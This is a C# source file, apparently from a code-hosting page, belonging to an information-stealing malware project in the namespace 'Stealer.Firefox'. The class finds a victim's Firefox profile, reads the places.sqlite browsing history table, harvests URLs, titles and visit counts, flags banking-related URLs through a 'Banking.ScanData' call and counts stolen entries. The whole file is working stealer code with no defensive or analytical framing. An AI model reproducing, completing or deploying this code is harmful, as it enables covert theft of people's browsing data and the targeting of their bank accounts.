71 lines
1.4 KiB
C#
71 lines
1.4 KiB
C#
using System;
|
|
using System.Collections.Generic;
|
|
using System.IO;
|
|
using Stealer.Chromium;
|
|
|
|
namespace Stealer.Firefox
|
|
{
|
|
internal class cHistory
|
|
{
|
|
private static string GetHistoryDBPath(string path)
|
|
{
|
|
try
|
|
{
|
|
string path2 = path + "\\Profiles";
|
|
if (Directory.Exists(path2))
|
|
{
|
|
string[] directories = Directory.GetDirectories(path2);
|
|
foreach (string text in directories)
|
|
{
|
|
if (File.Exists(text + "\\places.sqlite"))
|
|
{
|
|
return text + "\\places.sqlite";
|
|
}
|
|
}
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
return null;
|
|
}
|
|
|
|
public static List<Site> Get(string path)
|
|
{
|
|
List<Site> list = new List<Site>();
|
|
try
|
|
{
|
|
string historyDBPath = GetHistoryDBPath(path);
|
|
SQLite sQLite = SqlReader.ReadTable(historyDBPath, "moz_places");
|
|
if (sQLite == null)
|
|
{
|
|
return list;
|
|
}
|
|
for (int i = 0; i < sQLite.GetRowCount(); i++)
|
|
{
|
|
Site site = new Site
|
|
{
|
|
type = "Firefox"
|
|
};
|
|
site.sTitle = Crypto.GetUTF8(sQLite.GetValue(i, 2));
|
|
site.sUrl = Crypto.GetUTF8(sQLite.GetValue(i, 1));
|
|
site.iCount = Convert.ToInt32(sQLite.GetValue(i, 4)) + 1;
|
|
if (site.sTitle != "0")
|
|
{
|
|
Banking.ScanData(site.sUrl);
|
|
Counter.History++;
|
|
list.Add(site);
|
|
}
|
|
}
|
|
return list;
|
|
}
|
|
catch (Exception value)
|
|
{
|
|
Console.WriteLine(value);
|
|
}
|
|
return new List<Site>();
|
|
}
|
|
}
|
|
|
|
}
|